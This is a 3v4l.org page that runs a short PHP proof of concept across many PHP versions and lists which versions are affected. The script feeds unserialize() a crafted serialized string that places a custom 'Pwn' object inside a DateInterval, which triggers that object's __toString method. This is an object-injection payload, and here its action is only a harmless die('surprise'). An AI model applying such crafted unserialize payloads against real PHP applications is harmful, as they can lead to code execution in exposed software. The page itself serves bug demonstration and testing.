3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php /* $ php poc1.php unexpected */ class Pwn { function __toString() { die("surprise\n"); } } unserialize('O:12:"DateInterval":1:{s:4:"days";O:3:"Pwn":0:{}}'); ?>
based on q4LPC
Output for 5.4.44 - 5.4.45, 5.5.28 - 5.5.37, 5.6.12 - 5.6.28, 7.0.20 - 7.2.0
Output for 5.4.17 - 5.4.43, 5.5.0 - 5.5.27, 5.6.0 - 5.6.11, 7.0.0 - 7.0.8
surprise
Output for 5.4.0 - 5.4.16
Notice: Object of class Pwn could not be converted to int in /in/jfQIY on line 16